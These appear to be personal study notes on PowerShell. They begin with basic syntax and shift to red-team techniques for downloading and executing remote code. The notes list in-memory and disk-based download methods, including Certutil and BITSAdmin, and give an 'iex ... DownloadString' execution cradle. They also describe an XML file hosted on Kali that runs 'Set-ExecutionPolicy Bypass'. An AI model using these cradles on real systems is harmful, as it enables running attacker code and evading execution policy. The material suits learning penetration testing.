PowerShell is a powerful scripting language and command-line shell developed by Microsoft for automating administrative tasks and managing computer systems.
Getting Start
% = foreach
$_ = current object
example: 1,2,3,4 | % {$_+3}
result : 4,5,6,7
? = where
eq = equal
ne = not equal
like = similar/comparable
gt = greater than
lt = less than
example: Get-Service | ? {$_.Status -ne "Running"}
Module:
C:\$Env:PsModulePath
all modules in this path are imported automatically
Get-Command -Module <module name>
Download Files
// A summary of methods we can use For "In-Memory" execution with PowerShell 2.0:
> Net.WebClient DownloadString Method
> Net.WebClient DownloadData Method
> Net.WebClient OpenRead Method
> .NET [Net.HttpWebRequest] class
> Word.Application COM Object
> Excel.Application COM Object
> InternetExplorer.Application COM Object
> MsXml2.ServerXmlHttp COM Object
> Certutil.exe w/ -ping argument
// A summary of methods we can use For "Disk-Based" execution with PowerShell 2.0:
> Net.WebClient DownloadFile method
> BITSAdmin.exe
> Certutil.exe w/ -urlcache argument
iex $variable.DownloadString($address,$path)
//this will "download" the string of the file and the iex = Invoke-Expression will execute the string as a command
System.xml.XmlDocument:
First on Kali > open a webserver with a xml file:
<?xml version="1.0"?>
<command>
<a>
<execute>Set-ExecutionPolicy Bypass -Force -Scope CurrentUser</execute>
</a>
<b>
<execute>Get-Process</execute>
</b>
</command>
Specify headers when download files, for example user-agent:
$variable.Headers.Add("user-agent","redteam")
iex $variable.DownloadString($address,$path)